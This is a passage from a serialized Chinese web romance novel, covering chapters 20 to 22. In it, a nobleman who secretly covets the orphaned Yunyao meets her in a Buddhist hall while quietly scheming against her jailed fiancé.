云窈从小听人形容“热锅上的蚂蚁”,今日才真真切切体会到,蚂蚁被置于热锅上时,是怎样焦灼心境。她好像自从那天开始,就一直在坠崖、下落,无底深渊,没有终止。 天黑落雨,风刮窗上,屋内生了地龙,雨淋不到风吹不着,却仍难安眠。云窈合衣坐床沿,之前吩咐过盯梢的婢女冒雨回报:“姑娘、姑娘,世子回府了!” 犹如黑暗中乍破一道天光,云窈急急理衣梳头。 看架势要去世子院,落玉忍不住劝:“这么晚了。” 云窈抓着伞回头:“不去更睡不着。” 她和落玉急匆匆赶到世子院时,齐拂己一行也刚好走到门边,正要进院。黑暗中灯笼照亮,时明时晦,齐拂己的面容明明灭灭,瞧不真切,云窈仅见仙鹤白影就呼唤:“大公子!大公子且请留步!” 她提裙跑得急,到近处才发现脚踏水洼,水又溅到齐拂己身上,不由后退一步,不住赔礼。 “没事。”齐拂己虚扶住她,“雨大,廊下说。” 云窈点头,随齐拂己走上游廊,不做它想。齐拂己却边走边用余光偷瞟云窈,看她一步步走近门槛,抬脚,跨过去,终于进入他的世子院。 他紧紧盯着,眸色愈深,心底涌起隐秘欢愉。 廊下无雨,云窈边收伞边出声:“大公子,求您救救民女的未婚夫!” 话音将落,手中一暖,低头一瞥,齐拂己竟将自己的暖炉塞给她。 “夜里冷,别冻着了。”他淡淡开口,面色平静。 云窈既无措又感激,她咬了下唇,给自己打气,而后一鼓作气说出张宗云的境遇及相求之事。 齐拂己看起来和颜悦色,很快许诺:“我会保他平安。” 云窈鼻尖即刻涌起一股酸意,那么多人,要么拒绝,要么尝试努力,只有大公子一口做保,修佛之人不会信口开河,他是真的能救张宗云。 云窈忽觉深渊中被接住,停止了下坠。她生出想要扑入齐拂己怀中,紧紧抱住他的冲动。 但理教和理智更占上风。 云窈每个微不可察的表情和小动作,都尽入齐拂己眼中,瞧她现在的样子,真像人死后的第六相第七相,筋缠束薪,皮肉已尽,一点点拆筋烂骨,致使骨节分离,不在一处。他想起离开水月寺前,自己轻拂桌角,令那《观佛三昧海经》坠入火盆,焰火中化为灰烬。 从此不修佛,不念经。 “哭什么……”齐拂己几乎没有语调地吐出三个字,抬手,用拇指指腹抹拭云窈左眼眼尾暗中的欢愉绵长不绝——他终于,终于拭到了这滴泪。 心满意足。 他忍了太久没有见她,却又恨恨地想,这么久,竟真的到最后才依赖他。他居然比不上一个乡下来的匹夫,比不上二弟那个病秧子。 但好在最后只有他。 他所作的一切,都为了她要铭记,要她习惯,只有他能拯救她,她所依仗之人,只能是他。 第20章【VIP】 第20章 第二十章 他头皮发麻 云窈万万想不到大公子会帮自己拭泪,如此亲密唐突,且他手指的温度比别人凉许多,她虽然捧着热乎乎的手炉,两臂却还是即刻起了鸡皮疙瘩,蔓延全身。 “那谢谢大公子了。”云窈弯腰、道谢,落荒而逃,甚至忘了打伞。 “小姐、小姐等等我!啊——世子告辞!”落玉急匆匆行礼,差点撞到齐拂己身上,接着便去追云窈。齐拂己随她挪动扭脖,看向雨夜里云窈的背影,真像惊慌的鸟儿、兔儿。 他缓缓垂下胳膊,终忍不住动了动那只触摸云窈的拇指,唇角微翘:怎么还逃呢? 齐拂己凝视浓墨般的雨夜,嘱咐:“别让她受凉了。” “小的明白!” 云窈前脚回闺房,后脚驱散汤就送达,府医也过来,说是方才从二公子那回来,路上见云窈雨夜里慌慌张张,怕处毛病,顺道请个平安脉。 云窈谢过看罢,府医归去,她一个人躺在床上落了帐子,仍在为那拭泪一抹两颊发烫。大公子怎么突然这般行径?太奇怪了! 她心快跳如悸,抬手抚胸口,又双手掩面在床上滚了半圈——会不会是自己想多了?就像上回脚踝涂药,大公子好心善意,她却庸人自扰。 那要真这样,刚不打招呼骤然跑开,岂不是太过失礼? 云窈捂脸懊悔,掌心贴着面颊,一会烫一会凉,斟酌下回向齐拂己道歉的词句。她一宿不踏实,时醒时睡,到早上起来,仍心不在焉,而落玉一直盯着云窈瞧,洗漱如此,用膳也如此。 云窈意识到后两颊飞红,别首偷偷摸了把脸,自己方才没洗干净吗? 落玉歪着脑袋追过去:“小姐你是不是哪不舒服?” 云窈转回头:“怎这样说?” “你今儿气色好差。”落玉再次上下打量,小姐肤色暗沉,眼下青黑,但仍然眉目出众,倾国倾城,色授魂与,“但小姐还是美的,大美人!” 云窈脸上一烫,假装要捶落玉,小丫鬟来报:“姑娘,世子院来人了!” “这么快就有消息了?”落玉脱口而出。 云窈虽然没说出来,但心里默念的话是和落玉一样的。 二女急忙撤膳,请世子院的人进来,竟是大安亲自来捎话,见过礼,第一句便是:“有进展了!” 果然不愧是大公子!云窈暗叹,脑海里齐拂己的法身愈发金光灿烂,熠熠生辉。 “世子找您去详说。” “我去大公子那?”云窈旋即反问,她没去过世子院,男女授受不亲,不方便吧? 大安躬身,以手捂口压低嗓音:“此处不方便。” 他反倒说这里不方便。 “兹事体大且繁杂,三言两语讲不清。” 这就解释得通了,云窈瞬间共情,忙也压低声音:“那劳烦大公子也劳烦您了,大安哥。” 这一声大安轻巧又脆,像咬破的葡萄,大安偷觑云窈,心道:啧啧,难怪世子动心。 云窈没去过世子院,跟随大安行进,沿路陌生,仿佛初进魏国公府。到了世子院,宽敞胜过木樨小筑数倍,但花草树木却远比小筑稀少。除却一排松柏,仅余几棵紫薇。 说到紫薇云窈懂一点,爹娘曾打算在家中种,问过一棵百年的,要千金,还难养活,遂作罢。她瞧这世子院里最不起眼的一株,也比爹娘挑的粗壮,枝干出挑。 再往前,亭台楼阁,云窈就目不斜视,不敢多窥了。 她小心翼翼观察着大安步伐,大安顿足,她也在他身后隔着两三人距离停步。 大安微笑:“云姑娘,到了。” 云窈这才抬头观察,前头并非会客花厅,一间屋子,六扇面朝向她的窗子皆紧闭。云窈一下紧张得咬唇并攥拳。 大安却抬手往里指:“世子已经在里面等着您了。” 看样子要云窈一个人进去,她拳头捏得更紧,驻足不动。 “云姑娘?”大安继续笑道,“世子在里头等您。” 一门之隔的书房内,齐拂己面沉如水,虽已不戴佛珠,却不自禁空拨拇指:就是怕吓着她,才循序渐进,徐徐图之,没有约在卧房。他和她各退一步,书房独处,不好吗? 他暗自叹了口气,推开房门时已换作了一副平和温柔神色,就像冬日阳光,洒在人身上温暖却不灼热,云窈见着怔了下,不那么怕了。 她松开手,盈盈施礼:“大公子。” 齐拂己微扬唇角:“我要去佛堂,路上边走边说吧。” 佛前不怕,云窈闻言戒备全消,应了声好。大安却歪脑袋:世子在家许久没去佛堂了,今儿……? 齐拂己未觑大安,只淡淡扫云窈一眼,抬臂做了个请的手势,几乎同一霎,云窈侧身让道,欲让齐拂己先行。 齐拂己勾了下唇角,道:“那我就不谦让了。” 说罢抬脚,遵照云窈的意思先行,经过她身侧时,云窈的襦裙被风吹起,齐拂己不动声色往她身边偏了些,裙摆拂上他的锦袍。 云窈不察,齐拂己却一阵激颤。 他忍不住偷窥她,见她的鬓发也被吹起一缕,就好像挠在他脸上。 齐拂己心悸得更厉害,疾走几步,以免起势。 待冷静下来,他发现和云窈离得太远,便放慢步子等她。清晨的阳光斜照向东,他盯了一会两人隔开的影子,默默右移让影重叠。 齐拂己微扬下巴,浮起笑意。 云窈一开始不察,到后来发现大公子越走越慢,像在等自己? 她想的是既然要路上说张宗云的消息,那是得走近点,不然怎么对话? 是自己失礼了,云窈快跑两步,赶到齐拂己后面半身距离。 齐拂己余光瞟见她带着阳光朝自己奔来,眉心一跳。 他低头轻咳一声,掩下暗流涌动的情绪。 云窈近前。齐拂己缓启薄唇,正要开口,云窈先问:“大公子,张公子怎么样了?” 张公子张公子,她嘴里只有一个张宗云吗? 在云窈心里,齐拂己霁月光风,她直视着他,睁大明眸:“大理寺判了吗?可有回转余地?” 因为紧张,声音稍显两分紧。 齐拂己面上和煦:“已经延期,有希望。” 云窈鼻尖一酸,眼眶氤湿,恨不得给齐拂己跪下:“谢谢大公子,谢谢大公子。” 齐拂己阴恻恻地想:那张宗云到底哪里好?惹她揪心,得她眼泪。 他面如春山,会风和煦:“客气了,不必言谢。” 云窈摇头:“不!这一定要谢!大公子愿为生人犯险,大恩大德我和张公子都没齿难忘!” 齐拂己拇指又空拨了下,她也晓得张宗云是生人,那还要和张宗云一起谢他? 他气到想笑,还真漾起笑,温柔道:“应该的,救人一命胜造七级浮屠。” 齐拂己说得理直气壮,他只拆一桩婚,没想过要张宗云性命,又怎么不算救呢? 云窈注视齐拂己,毛茸茸的阳光描摹一圈他的轮廓,又仿佛整个人沐浴在圣光中。云窈心里涌起一股又一股,涓涓不绝的暖意,不自觉冲齐拂己笑了下。 “哦,对了!”她倏地停步,齐拂己便也停下来,笑着等她。 云窈未瞥齐拂己,专著解下腰间垂得颇低的荷包,从中取出清理干净的金球手炉,双手捧给齐拂己:“谢谢大公子,这个还给您!” 齐拂己微笑接过:“这个随身带着很重吧?” 四目相对,锁住。 云窈耳后突一烫,避开对视:“还好。” 风停,树静,没有鸟叫。暖阳照背,云窈越来越热。 良久,齐拂己弯腰倾向云窈,笑问:“可以走了吗?” “啊?走走!”云窈才回过神,语无伦次,手脚也跟新长似的,跟在齐拂己身后走了好久,才后知后觉抬手,摁住自己快要蹦出来的心脏。 齐拂己垂着胳膊,看似寻常,但其实要怎样克制,才能抑下冲动,不将这被她捧过抱过捂过,肌肤贴触过,沾满佳人体香的手炉拿到鼻下嗅,拿到颊上滚,贴到唇上贪婪吮吸。 他宽厚手掌将铜球完全包裹住,狠狠捏紧,手背的青筋因此全突起,像狰狞奔腾的河流。 “早膳吃过了吗?”怕紊乱气息暴露自己的龌龊心思,齐拂己的嗓子压得极低。 “吃了,多谢大公子关心。”云窈点头,走了五、六步,反问,“公子您呢?” “我也吃过了。” 云窈又点头,心想也是,佛堂庄严不能食。 再无话讲,就这样一前一后,隔半个身位续行数十步,齐拂己看似一直望着前方,实则时不时瞧二人影子,或偷睇云窈,美人行路,袅袅娉婷,天姿清耀,灵眸艳绝。 他眺向路边一束冷天里绽放的木芙蓉,唇角扬高。 云窈却渐渐低头,并没有留意影子交叠,只觉无话有点尴尬。 等等!齐拂己已经聊完了张宗云的案子,无话可说,她应该告辞啊!还跟着做甚么? 云窈张口欲辞别,一个字未讲,齐拂己先扭过头来同她道:“昨晚我差人去狱里走了一遭。” 云窈将出口的话卡住,唇仍分着——关于张宗云的事还未聊完? 齐拂己眼皮撩了下,继续前行:“他还好,但天气冷了……” 云窈赶紧追上。 “大理寺都有给犯人添被。” 云窈本来打算送被子,闻言吁口气:“那就好。” 继续行数十步,齐拂己忽然又道:“一日三餐也问过了……” 如此聊些张宗云相关,无关痛痒的事,竟渐渐走过国公府十二景中大半,到佛堂门口。 云窈左右张望,有些奇怪,这一路上除了她和齐拂己,大安落玉,再不见第五人。平时府里来来往往仆从多,极容易偶遇。 没有人瞧见,就没有人说闲话,传到公主那里,云窈反而松口气。 “既然来了,不拜佛吗?”齐拂己突然低低地问。 云窈循声扭头,见大安贴墙壁在佛堂外站好,齐拂己则神色恬淡,抬臂指向佛堂。 前方一扇门只开一半,一束光投照入佛堂,菩萨半明半晦,倒是飞扬的微尘瞧得清清楚楚。 既见如来,如何不拜? 况且云窈的娘亲笃佛。 她仅犹豫一霎,就对着齐拂己躬身,抬脚跨过门槛,踏入佛堂。 齐拂己即刻随后,关紧大门,落玉被拦在佛堂外。 落玉将要开口,大安突然拉住她:“这地庄重,不是我们这些下人能进去的。” 落玉一听连呼吸都放轻,乖乖跟大安一起等在墙边。 佛堂内,因未开窗,门又关紧,变得更加昏暗。齐拂己视线扫过上首拈花坐莲台的佛像,衣袂勾勒宛若流云,又静静注视提裙跪向蒲团,躬身拜佛的云窈。他的目光随她的裙摆提起,落地,心也随之扬起,下落,不触低。云窈的石榴裙走线亦若流云,和菩萨一模一样。 想到和她两两独处幽室,私密又阴暗,将一切外人摒绝于外,齐拂己不由得浑身震颤,头皮发麻。 20-30 第21章 第二十一章 他要她只喜欢他 云窈拜完起身,朝齐拂己盈盈先鞠一躬,而后才问:“大公子每日都礼佛吗?” 出乎意料,齐拂己没有答她,立在那里,一动不动。 云窈抿了下唇:大公子站着也能参禅入定? 她碎步稍微走近:“大公子?” 齐拂己终于掩藏好激动,确保不会露馅才,压着唇角回答:“是。” 云窈双手合十:“大公子朝参暮礼,如此虔诚,菩萨一定也会保佑大公子的。” 云窈说完不自觉笑了笑,门窗紧闭,佛堂昏暗,她却不觉阴森,没有一丝恐惧,反而舒坦、安心——因为菩萨不会害人,笃佛的大公子更不会。 齐拂己目光在云窈身上掠了一遍,想她方才在蒲团上嗑的三个头,虽无响声,却也恭恭敬敬,不由反问:“你方才拜得也很虔诚,是有所求?” 问完他自个设想了答案,立马难受。 该不问的。 “我给爹娘求往生。”云窈垂眸,嗓音低轻,“我娘生前也修佛,如公子一般,家里供奉佛龛。” 齐拂己闻言心情好转,正准备说两句,云窈话锋一转:“然后我还求了张公子平安。” 齐拂己血液凝固。 唇抿一线,目光在她脸上掠来扫去,既欣赏她的真诚,又恨她什么话都对他讲。 他终于忍不住问出心底徘徊许久的疑问:“你和他相识不过月余,怎如此为他着想?” 一见钟情,情深至斯? 云窈没想到齐拂己突然问这,十分莫名,抬起头来打量他。她好像有一霎瞧见了不一样的大公子,但下一霎又觉自个晃眼,大公子神色没变,眉如新月,面似暖阳,温润平和。 她敛起笑意,郑重回复:“人言夫妻同道,父子同心,皆同甘共苦。我既然已经和张公子订了亲,那就不能在他遭难时放弃他。” 齐拂己静静听着,少顷,反问:“但也有言,夫妻本是同林鸟,大难临头各自飞。” “那是别人,不是我。”云窈平时讲话柔柔弱弱,自带几分江南女子的婉转,此刻却是斩钉截铁,毫不犹豫。 齐拂己分唇轻笑,这女人硬起气来像脆萝卜,水灵灵,甜得人心痒。 云窈不知他为何笑,愣了下,方才续道:“云窈自小受爹娘教诲,绝不做不义不仁之事。不管是张公子,还是李公子,他未曾辜负过我,我就不能独自丢弃他在罗网里。我待夫君如是,待父母、姊妹、挚友乃至忠婢,亦如是。” 齐拂己唇角噙笑:不管张公子还是李公子? 那说明也可以是齐公子。 做她的夫君还真令人艳羡。 很好,这位置很快将由他代替。 他将是她此生唯一的夫君。她只能和他共栖比翼,仁义忠贞皆为他,无论喜或忧,她只能对他笑,泪也只能为他落。 此刻,齐拂己很想抬手再狠狠抹一回云窈眼角,抚触她脸庞。 然后嵌入怀中。 他朝着云窈前迈一步,面颊和身上的肌肉皆绷紧。 云窈张目,觉得大公子好像有话要说。 “既然来了,不如坐着参会禅?”齐拂己压抑着,不让喉头滑动。 “不了,我先回去了。”云窈微笑摇头,她已经拜过菩萨了。 她朝齐拂己盈盈一拜:“张公子的事,还多劳大公子费心。” 齐拂己眼里这一拜若娇花拂水,他喉头还是滑了下:“此事从长计议,你不要急。” 这话他对云窈也对自己说,从长计议,缓缓谋之。 云窈点点头,转身朝门口走,齐拂己见状上前,主动推开门。 “多谢大公子。”云窈道谢。 门口候着的大安和落玉皆望过来,各唤各的:“世子。” “小姐。” 云窈疾步走向落玉,转身同齐拂己再道个别,就此离去,没再回头。 她这一带来得少,没走一会就和落玉一道迷路了。 “这宅子怎么跟个八卦阵似的!”落玉禁不住抱怨,来时明明记了路的。 “因为太大了吧。”云窈笑笑,其实她也记了路,也没记住。二女一起努力回忆,终于摸到熟悉路上,晓得怎么回木樨小筑了。 走着走着,落玉就蹙眉:“今日怎么都没人啊?” 云窈道:“去佛堂路上我就发现了,不见人影。” 二女直道奇怪,但究竟何种原因,不得而知。佛堂里的齐拂己却一清二楚,二房冯氏领着姝静姝妍姐妹回娘家,接下来半月都不在府里。至于其他人,为防公主知晓他私约云窈,皆被安排刻意避开。 他是防人之心不可无,万事求稳妥,其实汉阳公主压根没心思关注这边。因为禁足,齐拂意一下急火攻心,又病倒了。这回比之前更严重,一会齁一会喘,躺都躺不下去,只能由人扶坐,一宿一宿坐眠。 也是下人心急,病情传进汉阳公主耳中时变成“进气少出气多”,慌得她即刻摆驾二公子院,同时着请太医。 公主见到二儿子,病情虽然比想象中轻,却仍落泪,一颗心仍悬而不落。 公主从来不会怪自己,抓着齐拂意的手痛斥:“都怪那个丧门星!狐狸精!害你至此!” 齐拂意急忙向前倾身,却不受控咳出数声,以帕捂口。汉阳公主扶住,命婢女给齐拂意换帕子,哪知方才那张帕上有血,公主顿时天旋地转:“太医呢?太医怎么还没来?!” “母亲……”齐拂意唤。 “娘在这。”公主回身,与儿子四手紧握。 齐拂意心急如焚,要把话都说完:“求母亲不要撵走她。” 公主被道破心思,面骤一沉:“她都害你这样了——” “不!”齐拂意打断,“母亲应该让我开开心心,病才会早点好起来。” 公主听到这话,几番张口,终没再提云窈,只拍了拍齐拂意的手,让他宽心。 公主回去后,一夜间添数根白发。 齐拂意则总遣长随打探云窈消息,虽然不曾提过要求,但长随看在眼里,急在心上,憋了几日,自作主张去找云窈:“云姑娘,您去瞧瞧二公子吧!” “他心里想你,只是不说……” 长随说一句哽一句,云窈让落玉给他递盏茶,慢慢讲。长随遂道出齐拂意被禁足、害病,自然不会提撵走云窈,只说公主去探望过,病情仍不见好转。 云窈手上正好有条手帕,倏地攥紧,捏了又捏,咬唇,最后横下一条心:“对不起,我不能去。” 二公子因为她惹怒了公主,她要再去,不是火上添油,自寻死路吗? 只能对不住二公子了…… 云窈做下决定,但心里过意不去,所以在齐拂己再次召她去佛堂时,她决定给齐拂意也求求佛。 进佛堂行过礼,未聊张宗云案进展,就先嗑数个头,这回比上回更卖力,能听见了。 云窈还上了一柱香,再鞠三个躬。 齐拂己站在云窈身后注视,待她诸事作罢,笑问:“今日怎么磕六个头了?” 可是祈愿的受益人中多他一位? “二公子病了,我给他也求了求,希望菩萨保佑二公子能早日康复。” 齐拂己原先为了将就云窈,微躬上身,闻言身子定了一霎,而后缓缓直起,淡笑:“你对二弟也有情意?” 张宗云未走,又来一个齐拂意,她勾搭的男子可真多。明明上回宴上她没选二弟选了自己,明明她说最喜欢大公子了。 骗子! 此时此刻,齐拂己完全忘记云窈曾经解释过,喜欢他是幌子、误会。 云窈则脸色煞白,害怕齐拂己将自己的言行捅到汉阳公主面前,公主知道她招惹齐拂意,又要吃不完兜着走。 云窈慌忙摆手:“大公子误会、误会了!”急得结巴,“我和二公子没有私情,我是听说殿下因为二公子生病,焦心忧虑,我想为殿下分忧,才在佛前许愿二公子早日病愈。” 云窈想说,要是大公子病了,她也会替他求佛祈愿的。 这话将要出口,转念一想,不妥!万一公主觉得这是咒大公子病呢?遂改口:“不知张公子那厢是什么情形?”她朝齐拂己走了半步,“可有了回转余地?” 齐拂己一眨不眨瞧着,她走向自己只为打听别的男的消息,她嘴里吐出来的不是二弟就是张宗云,都不爱听。 面上却仍温和,还是慈眉善目的菩萨:“有眉目了,他应该是冤枉的。” 云窈明眸一亮。 齐拂己顿觉刺眼,却挂着淡笑,娓娓续道:“虽然当今圣上仁善,张宗云亦无意,但到底对天家大不敬,他恐怕留不得京,做不得官了。” 他会将张宗云远远驱逐放,叫他再也不能靠近云窈,肖想云窈。 云窈咬唇。 齐拂己再不愿见她表情,转身左走,背对云窈那一霎,笑意顷刻消失,只剩阴鸷:“既然你这么担心二弟和张公子,就替他们各抄一份经吧。” 云窈从前也常为父母抄,闻言点头,她回小筑就抄。 她无意抬眸,却见齐拂己走近的墙边有矮几蒲团,低矮书架。云窈不禁再撇第二眼:难不成……大公子要留她佛堂抄经? “抄经是最能祈福的。”齐拂己越过矮几,走向旁边书架,上头有佛经亦有拓好的释祖和观音像,问道,“从前抄过没有?” 第一回抄经要先描佛,因为先有佛后有经。 “抄过的。” 齐拂己抽出一本《心经》递给云窈。 云窈未接,她想和大公子聊佛法,大公子不会怪罪的,于是直言:“劳烦大公子给我一本《一切如来心秘密全身舍利宝箧印陀罗尼经》,再给一本《药师琉璃光七佛本愿经》。” 齐拂己恨不得闭眼,这两本一本赎罪,一本求身体康健,她倒是为他们两个想得周到。 “谢谢大公子。” 听见云窈道谢,齐拂己还是笑了笑,依她挑出《药师经》和《陀罗尼经》,轻放到她手上,自己则跪下来,再替她铺宣纸,镇纸镇好,并倒一碟箔墨,鎏金四溢,放到笔架前,这样云窈最顺手。再摆蒲团,一切以她舒适为首要。 “谢谢大公子。”云窈看在眼里,感激不尽。 齐拂己颔首,在云窈斜对面的蒲团上坐下。 云窈挑了支最细的胎毫,专注抄经,许久才无意识抬首一瞥,见齐拂己盘膝闭目,正在打坐。 她重新垂眸,忽觉得不对劲,又抬头看——大公子今日手上怎么没戴念珠? 算了,不多想,云窈低下头,重新抄,许久才再抬眼,冷不丁撞进齐拂己眼里。 四目相对,她能清晰瞧见他眼里的自己。 怎么这么巧?难不成……大公子一直在盯着她瞧? 第22章 第二十二章 他要他死! 云窈莫名一慌,胳膊上起一层鸡皮疙瘩。 齐拂己面不改色注视着她,仍不移目。 云窈受不住再对视,慌忙挪开。 齐拂己启唇淡道:“经是佛三藏法宝,抄经须心无杂念,专注一境,再则……本来无一物,何处惹尘埃。” 这话说得云窈汗颜,脸涨通红,低着脑袋一个劲地点:“对不起、对不起。” 她完全忘记手上还握着笔,笔和胳膊、脑袋一起往下沉,笔尖不慎点在纸上,顷刻污纸,晕开一片指甲盖大小的箔墨。 糟糕,要重抄了! 云窈即急又虚,两颊愈烫,手心冒汗。 她像个做错事的孩子,一直垂地脑袋,以为这样就不会被长辈看到,左手的拇指和食指捏宣纸,试图偷偷抽出一张新的,可手却突然被握住。 云窈旋即回头,惊见齐拂己在她身后,正紧紧抓着她要抽纸的手。 他什么时候来的?! 云窈完全没察觉,她发现他的掌心冰凉,和自己的滚烫形成鲜明对比,她瞬间头也不敢回了,直直盯着宣纸,心狂跳。 “大公子?”云窈惴惴不安,颤声问。 齐拂己默默倒吸口冷气,她问的时候能不能别喘,要命。他方才瞧见她脸上潮红,就已难克制…… “不用新纸,你这张还可以继续写。”他的语气一本正经,抓着云窈的手往怀里带,令她放开宣纸,脑子里想的却是抓她的手去抚触别的地方,只有屏息才不暴露他越来越粗重的呼吸。 齐拂己松开云窈的手,五指却仍若爪悬在空中,手背青筋微凸,白皙的肌肤浅浅泛红。 他的五指空捏了下,方才垂臂收回左手。 但右手却又握住云窈右手,牵着云窈让她把笔放下。 云窈这才发现自己一直没放下笔:“对不起不对起!” 连忙赔礼,坐立不安,快急哭了。 齐拂己站起来,取下书架上一长颈白玉瓶,里面调配的药水可消箔墨,并一只同色白玉碟,而后重在云窈身后蹲下。 他将玉瓶中的药水倒入碟中。 云窈不曾抬首,始终盯着桌面,见着碟中渐盛剔透,清冽如酒,但又闻不到酒味。 她很尴尬,想来想去,问了句“大公子这是什么”来缓解尴尬。 问完发现不行,还是如坐针毡。 齐拂己久成习惯,自然而然伸手探入怀中,去掏贴在心中那方云窈的手帕,却倏然清醒,猛地按住——不可取出! 因为之前的动作都极轻柔,这一按显得响声颇大,云窈愈发慌张,却不敢扭身回头,只红着脸问:“大公子?” “箔墨可消。”齐拂己左右言它,改从袖袋里捡出另外一方自己的,不常用的帕子,捏一角沾碟中药水,清理污渍。 很快,那指甲盖大小,误点的箔墨从纸上消失了。 “你可以继续写了。”齐拂己启唇,音调没什么起伏,脸上笑意也很淡,看起来十足十的就事论事。 “谢谢大公子。”云窈连道谢都不敢对视。眼前的齐拂己清清冷冷,像天上寒月,虽照人夜归,却疏离,公事公办,但不怎地,她就觉着周遭好热,热得人七上八下。齐拂己又生得高大,两臂将她这么一围,虽然胳膊和身体皆未触碰,却觉亲密无间,云窈恍觉密密麻麻针扎后背,格外局促。 齐拂己收起手绢,起身坐回斜对的蒲团上。 云窈却再难静心,一会越抄越快,一会半个字都写不下去,也不知是热得还是急的,眼泪兜不住落下两滴。 云窈赶紧吸鼻子,吐吶,怕被齐拂己察觉。她默默告诫自己,大公子方才不说讲了六祖名偈么?本来无一物,何处惹尘埃,不要庸人自扰……云窈想起一个故事,从前有一禅僧和一年轻和尚出游,路遇湍急河流,二人身量皆修长,过河无碍,却见一年轻瘦小的女子,对着河流发愁叹气。 禅僧主动道:“来,我背你过去。” 然后将女子背到河对岸,放下道别。 二僧继续赶路,过了大半天,年轻和尚终于忍不住出口:“出家人当避讳女色,你方才为何要背那年轻小娘子过河?” 禅僧平常道:“你说那位娘子?我早已把她放下了,你还背着她吗?” 云窈这么一想,便也暂时放下,一遍又一遍默默对自己说:齐拂己就是禅僧。 齐拂己看似垂耷眼皮,实则余光始终凝睇云窈。佳人落泪,他心头一惊:好一对似泣非泣寒露目。 他听见自己的心湖落下一滴水,叮咚化成了月亮。 然后泛起一股绵长不绝,难以描绘的愉悦。 齐拂己不禁启唇:“抄完记得回向。” 佛家信徒抄完经后,往往回转归向,与法界众生同享,使功德明确方向而不致散失。 可她几时能对他回向?为什么他就是收不到? 云窈没有杂念,点点头,待抄完,就双手合十:“愿以此抄经功德,庄严佛净土,上报四重恩,下济三途苦。若有见闻者,悉发菩提心。” 不敢佛堂高语,她轻得好些字没有发声。齐拂己促眸眺着云窈,见两瓣薄厚适中的红唇分分合合。他读完她的唇语,心底涩然一笑,好似捏破个酸果子:果然,还是没有他。 云窈起身,准备拾起经文递给齐拂己,齐拂己却道:“你放着,我待会料理。” 云窈倏地收手。 少顷,咬唇:“那……大公子,我先回去了。” 齐拂己颔首。 云窈走半步,忽然定住,朝齐拂己猛鞠一躬:“张公子的事劳烦大公子了!” 多少次了,他再不想装模作样的回些“何足挂齿”,“应该的”,垂眼摆手,示意云窈离去。 云窈再鞠个躬,竟真走了。 她出佛堂,大安进来,眺着窗外越离越远的云窈:“世子,您就这样让云姑娘走了?” 齐拂己闻言,半晌不作声亦无动作,而后缓慢撩起眼皮,他手长,只一探身就拿来云窈抄的那两份经,上面除却纸墨香气,还有淡淡清新的味道,和一开始拾起云窈手绢时闻着的味道一样,是她的香味。 齐拂己回忆方才云窈写字时偶尔小臂垂下,挨在桌上,轻碾,什么时候她胳膊也能这样碰一碰自己? 齐拂己唇抿一线,眸深若潭。 窗外,云窈已不见踪影。 她和落玉沿着曲径转弯,这回比上回熟了,不迷路。途经花园假山,落玉不由记起齐二小姐很爱在这玩捉迷藏,她和云窈都已知晓齐氏姐妹随冯氏一起回了娘家,好些天了,不由感叹:“大小姐和二小姐走挺久了,怎还不见回来?” 云窈急抓她手:“莫要议论。” 虽然周遭仍和上次一样,遇不到人,云窈仍紧张四望。过了会,再次确定没被人听去,她才低声道:“莫聊人家闲话,兴许是冯夫人想家。” 说到这她脑海里不由自主浮现杭州的山山水水,家中老宅,来往邻里,虽然爹娘都不在了,但还是觉得杭州比这好。 云窈突地想哭,吸鼻忍住,怕眼里真有泪,抬手抹了一把,又眨了下眼。 一城之内,魏国公府往西二十里,羽林中郎将府上,难得女儿和外孙女归宁,这些天冯将军都是叫上一家人,齐齐整整用午膳。 虽有一圈婢女伺候着,冯氏仍亲自站起,俩鹌鹑腿剔下来夹给冯将军:“爹,今日花炊鹌子烧得烂,您尝尝。” 冯将军心里头第一个考虑的却是亲外孙女齐姝静,至于姝妍,没血缘自然没那么亲,但不能留把柄让人诟病厚此薄彼,于是笑着收碗,避开那两只鹌鹑腿:“唉,我不要——给俩丫头吃。” “这都有。”冯氏无奈,冯家还不至于穷到一盘花炊里只一只鹌鹑。 冯将军这才接了,冯氏坐下瞟向姝静姝妍:“你一人一个。” 旁边伺候的伶俐丫鬟早替好骨,将另两只鹌鹑腿布给齐氏姐妹。 齐姝静爱这咸中带点甜的味,将夹起要吃,外头来报:“老爷,大理寺李少卿李大人登门!” 齐姝静眉心一跳,筷子松了,鹌鹑腿落入碗中。她慌忙张望,见众人没有留意自己,便赶紧埋下头去重吃。 那厢冯将军已经落筷:“这小子来了?正好,问他吃过饭没?没有一道吃了。” 通报的人很快将李凝请进来,冯将军又问一遍吃没,李凝一面回说没有,一面又婉拒同食邀约,说这怎么好意思。 冯氏笑道:“从小看你你和姝静姝妍一起长大,这会却客气起来!” 齐姝静闻言眨眼,呼吸紊乱,好在她平素低调,远不如齐姝妍活泼,无人留意,连李凝也未曾扫她一眼,只笑着在冯将军身边坐下,边吃边说起一桩牵涉羽林卫的案子,齐姝静越听越觉得李凝不是为自己而来,默默吞咽一口。 待到吃完,各自散了,齐氏姐妹送冯氏回屋,继而各回各的客房。齐姝静那间曲径通幽,尚在穿花扶柳,忽听人急急唤:“姝静。” 没回头她就听出是谁,回头瞧见李凝,仍吓一跳。 “你怎么在这?”她怕得声音有些抖,抚胸口又庆幸:还好此刻没有婢女跟随。 李凝疾步近前,他去了那么多次魏国公府,她却始终躲着他。他很急,话转瞬就蹿过喉头,到了嘴里,睹着齐姝静惨白面目却堵住。 少顷,改口慢道:“今日有花炊鹑子。” 是她最喜欢吃的菜。 齐姝静旋即想李凝最爱蟹粉豆腐,今日桌上没有。 她低头不语。 李凝好声好气笑道:“我最近发现一间粥铺,很是好喝,明日……请你喝粥?” 脚步声响,明显隔得极远,齐姝静却如受惊飞鸟:“有人来了!” 转身就跑不见。 李凝朝着她奔跑方向抬手,分唇无言。 * 这一日天气晴好,云窈将要和落玉一道出府,去找铁头了解张宗云近况,大安却在此时过来木樨小筑:“云姑娘,世子找您。” 都不用说找去哪了,最近齐拂己回回和云窈说张宗云案进展都在佛堂。 云窈和落玉对望一眼:那现在还去找铁头吗? 今日是早早约好的,不能让铁头空等,云窈便想让落玉先去,待会她得了新消息,再去告知铁头。 她紧开口,慢开言,斟酌的时间有些长,大安急了,怕云窈不去,不由强调:“听我们世子说,张公子已经洗刷嫌疑,能出狱了!” 云窈猛抬头瞅大安,继而吩咐落玉:“你先去见铁头,和他说我待会来。” 落玉点头,遂出府将好消息带给铁头,云窈则随大安去佛堂。见到齐拂己先行礼,而后才问:“大公子,听说张公子能出狱了?还是已经出来了?那他还会被定罪吗?” 